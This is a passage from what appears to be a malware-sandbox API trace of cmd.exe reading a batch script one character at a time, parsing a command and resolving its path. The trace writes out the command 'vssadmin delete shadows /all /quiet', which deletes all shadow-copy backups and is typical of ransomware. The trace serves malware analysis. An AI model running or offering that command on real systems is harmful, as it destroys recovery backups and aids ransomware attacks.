lpWideCharStr="eelect=1251\n") returned 1 [0188.982] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.982] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.982] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.982] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0188.982] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.982] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.983] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.983] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0188.983] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.983] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.983] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.983] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0188.983] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.983] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.983] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.983] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0188.983] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.983] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.983] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.983] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0188.983] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.983] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.983] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.983] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0188.983] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.983] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.983] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.983] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0188.983] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.983] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.983] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.983] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0188.984] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.984] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.984] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.984] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0188.984] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.984] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.984] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.984] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0188.984] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.984] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.984] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.984] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0188.984] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.984] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.984] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.984] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0188.984] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.984] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.984] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.984] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0188.984] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.984] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.984] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.984] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0188.984] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.984] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.985] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.985] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0188.985] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.985] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.985] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.985] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0188.985] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.985] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.985] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.985] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0188.985] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.985] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.985] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.985] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0188.985] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.985] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.985] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.985] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0188.985] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.985] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.985] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.985] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0188.985] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.985] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.985] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.986] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0188.986] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.986] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.986] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.986] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0188.986] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.986] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.986] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65ec49970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa12bbcf6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesRead=0xa12bbcf6f8*=0x1, lpOverlapped=0x0) returned 1 [0188.986] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=1, lpWideCharStr=0x7ff65ec53c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0188.986] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.986] GetFileType (hFile=0x248) returned 0x3 [0188.986] _get_osfhandle (_FileHandle=0) returned 0x248 [0188.986] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.986] _get_osfhandle (_FileHandle=1) returned 0x254 [0188.986] GetFileType (hFile=0x254) returned 0x3 [0188.986] _get_osfhandle (_FileHandle=1) returned 0x254 [0188.986] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff65ec49970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0188.986] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65ec49970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xa12bbcf698, lpOverlapped=0x0 | out: lpBuffer=0x7ff65ec49970*, lpNumberOfBytesWritten=0xa12bbcf698*=0x24, lpOverlapped=0x0) returned 1 [0188.986] GetProcessHeap () returned 0x265f3880000 [0188.986] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x4012) returned 0x265f3888e90 [0188.986] GetProcessHeap () returned 0x265f3880000 [0188.986] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f3888e90) returned 1 [0188.987] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0188.987] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0188.987] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0188.987] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0188.987] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0188.987] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0188.987] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0188.988] GetProcessHeap () returned 0x265f3880000 [0188.988] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0xb0) returned 0x265f38991a0 [0188.988] GetProcessHeap () returned 0x265f3880000 [0188.988] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x22) returned 0x265f3886330 [0188.988] GetProcessHeap () returned 0x265f3880000 [0188.988] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x48) returned 0x265f3899260 [0188.989] GetConsoleOutputCP () returned 0x4e3 [0188.990] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff65ec4fbb0 | out: lpCPInfo=0x7ff65ec4fbb0) returned 1 [0188.990] SetThreadUILanguage (LangId=0x0) returned 0x409 [0188.991] GetConsoleTitleW (in: lpConsoleTitle=0xa12bbcf4e0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0188.992] malloc (_Size=0xffce) returned 0x265f3a70840 [0188.992] ??_V@YAXPEAX@Z () returned 0x265f3a70840 [0188.992] malloc (_Size=0xffce) returned 0x265f3a80820 [0188.992] ??_V@YAXPEAX@Z () returned 0x265f3a80820 [0188.992] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0188.992] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0188.992] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0188.992] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0188.992] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0188.992] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0188.992] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0188.992] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0188.992] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0188.992] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0188.993] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0188.993] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0188.993] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0188.993] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0188.993] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0188.993] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0188.993] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0188.993] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0188.993] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0188.993] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0188.993] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0188.993] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0188.993] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0188.993] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0188.993] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0188.993] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0188.993] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0188.993] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0188.993] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0188.993] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0188.993] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0188.993] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0188.993] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0188.993] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0188.993] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0188.993] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0188.993] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0188.993] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0188.993] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0188.993] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0188.993] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0188.993] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0188.993] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0188.993] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0188.993] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0188.993] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0188.993] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0188.993] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0188.993] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0188.994] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0188.994] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0188.994] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0188.994] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0188.994] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0188.994] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0188.994] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0188.994] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0188.994] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0188.994] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0188.994] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0188.994] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0188.994] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0188.994] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0188.994] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0188.994] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0188.994] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0188.994] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0188.994] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0188.994] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0188.994] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0188.994] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0188.994] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0188.994] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0188.994] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0188.994] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0188.994] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0188.994] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0188.994] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0188.994] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0188.994] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0188.994] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0188.994] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0188.994] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0188.994] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0188.994] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0188.994] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0188.995] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0188.995] ??_V@YAXPEAX@Z () returned 0x1 [0188.995] GetProcessHeap () returned 0x265f3880000 [0188.995] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0xffde) returned 0x265f3888e90 [0188.996] GetProcessHeap () returned 0x265f3880000 [0188.996] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x5a) returned 0x265f38992b0 [0188.996] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0188.996] malloc (_Size=0xffce) returned 0x265f3a80820 [0188.996] ??_V@YAXPEAX@Z () returned 0x265f3a80820 [0188.996] GetProcessHeap () returned 0x265f3880000 [0188.996] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x1ffac) returned 0x265f389c1e0 [0188.998] SetErrorMode (uMode=0x0) returned 0x0 [0188.998] SetErrorMode (uMode=0x1) returned 0x0 [0188.998] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x265f389c1f0, lpFilePart=0xa12bbced60 | out: lpBuffer="C:\\WINDOWS\\system32", 